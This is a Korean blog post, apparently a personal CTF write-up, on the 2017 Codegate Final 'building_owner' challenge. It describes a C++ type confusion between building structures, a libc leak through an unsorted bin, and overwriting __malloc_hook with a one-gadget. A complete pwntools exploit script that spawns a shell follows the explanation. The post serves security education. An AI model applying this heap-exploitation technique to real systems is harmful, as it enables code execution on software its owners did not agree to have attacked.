2017 Codegate Final building_owner
일단 C++로 된 문제다. 보호기법을 체크해보자.
구조체들을 분석해보면
대충 이렇게 생겼다.
manage 함수를 보면 Edit와 Change 함수가 있는데 Edit 함수는 일반적인 Edit 함수처럼 원래 있던 값들을 수정할 수 있게 해준다. Change 함수는 company를 restaurant로 바꾸거나 apartment 로 바꿀수 있게 해준다.
그래서 apartment를 restaurant를 바꿔준다면 restaurant의 구조체 변수 people, money, menu, price, customer_pay를 추가적으로 확인할 수 있다.
이걸로 다른 청크의 데이터를 릭하거나 바꿀 수 있다.
string 객체를 이용해서 릭을 했다. string은 할당한 값보다 크게 받으면 free를 시키고 다시 할당시킨다.
그래서 free가 되면 unsorted bin이 나온다. 그리고 건물을 할당하게 되면 건물 구조체 안에 unsorted_bin이 들어가서 릭이 가능하다.
공격은 apartment 하나를 restaurant로 change한다. 그리고 edit를 하면 구조체 apartment로 할당한 구조체가 restaurant로 바뀌면서 people, money, menu, price, customer_pay를 추가적으로 조작할 수 있다.
조작하기 전에 people, money, menu, price, customer_pay가 위치한 주소는 다음 청크의 영역일 것이다.
restaurant로 바꾸고 price를 보니 다음 청크의 name 영역이다. 이걸 __free_hook으로 바꾸고 edit을 시키면
__free_hook에 값을 덮을 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | from pwn import* p = process("./owner") def apartment(name,floor,many,describe): p.sendlineafter("> ","1") p.sendlineafter("? ",name) p.sendlineafter("? ",str(floor)) p.sendlineafter("? ",str(many)) p.sendlineafter("it : ",describe) #### Leak #### apartment("1","1","1","1") apartment("A"*8,"1","1","B"*200) apartment("2","2","2","2") p.sendlineafter("> ","4") p.sendlineafter("> ","2") p.sendlineafter("> ","1") p.sendlineafter("> ","3") p.sendlineafter("> ","2") p.sendlineafter("> ","4") p.sendlineafter("> ","3") p.sendlineafter("> ","4") p.sendlineafter("> ","1") p.sendlineafter("> ","3") p.sendlineafter("> ","1") p.recvuntil("price of menu : ") leak = int(p.recv(15),10) base = leak - 0x3c4b98+0x20 malloc_hook = base +0x3c4b10 one = base+0xf1147 #### Exploit #### p.sendlineafter("> ","9") p.sendlineafter("> ","9") p.sendlineafter("> ","2") p.sendlineafter("> ","1") p.sendlineafter("> ","1") p.sendlineafter("> ","2") p.sendlineafter("> ","9") p.sendlineafter("> ","1") p.sendlineafter("> ","3") p.sendlineafter("> ","2") p.sendlineafter("> ","6") p.sendlineafter(" : ",str(malloc_hook)) p.sendlineafter("> ","9") p.sendlineafter("> ","1") p.sendlineafter("> ","1") p.sendlineafter("> ","1") p.sendlineafter(" : ",p64(one)) p.sendlineafter("> ","9") p.sendlineafter("> ","9") p.sendlineafter("> ","9") p.sendlineafter("> ","1") print "Leak: " + hex(leak) print "Base: " + hex(base) print "malloc_hook: " + hex(malloc_hook) print "one_shot: " + hex(one) p.sendline("id") p.interactive() | cs |
'CTF' 카테고리의 다른 글
2018 HITB-XCTF d (0) | 2018.04.15 |
---|---|
2018 Codegate Final heapbabe & 후기 (0) | 2018.04.08 |
2017 Codegate Final petshop (0) | 2018.03.27 |
2016 Hitcon sleepy holder [Again] (0) | 2018.03.22 |
2016 Hitcon secret holder [Again] (0) | 2018.03.21 |